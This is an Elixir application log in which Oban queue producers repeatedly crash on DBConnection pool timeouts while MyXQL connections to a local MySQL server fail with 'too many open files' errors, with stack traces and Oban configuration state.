[Sat Sep  5 22:49:25.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:49:13.239663Z], limit: 50, uuid: "95118c70-457c-4eeb-9cf3-168e84bf6944", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:13.239668Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245015>, refresh_timer: #Reference<0.2525715032.1077411843.219391>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:25.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:49:13.239880Z], limit: 5, uuid: "b6c0cb31-7e3d-42cd-8d44-57820c5e074a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:13.239885Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.219419>, refresh_timer: #Reference<0.2525715032.1077411843.219386>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:26.731000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:26.880000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:27.660000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:31.634000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:36.960000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:37.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:49:25.239589Z], limit: 10, uuid: "f0eb7d3d-6160-4b88-a2a6-680c3eb50c98", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:25.239595Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245340>, refresh_timer: #Reference<0.2525715032.1099169794.245300>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:49:25.238371Z], limit: 3, uuid: "58852e4a-6bfe-4635-9d9c-3eceee2a422a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:25.238377Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.219590>, refresh_timer: #Reference<0.2525715032.1077411843.219576>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:49:25.239333Z], limit: 20, uuid: "56a52adb-7fb7-4a2b-8ea6-ca9257a6ab80", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:25.239340Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245343>, refresh_timer: #Reference<0.2525715032.1068236804.237274>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:37.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:49:25.241435Z], limit: 5, uuid: "2129f889-1238-4ee4-a97a-99ddd2fc771e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:25.241441Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245341>, refresh_timer: #Reference<0.2525715032.1099169794.245332>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:49:25.239992Z], limit: 50, uuid: "4109fe2c-f7d3-41a4-9449-7707e464c47d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:25.239998Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245344>, refresh_timer: #Reference<0.2525715032.1121189889.95632>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:37.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:49:25.239632Z], limit: 5, uuid: "802659ca-6ecc-4ef3-ad55-6da36c5265b3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:25.239638Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245342>, refresh_timer: #Reference<0.2525715032.1099169794.245303>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:37.431000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:37.830000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:37.861000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:39.433000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:40.979000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:42.721000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:43.479000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:46.161000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
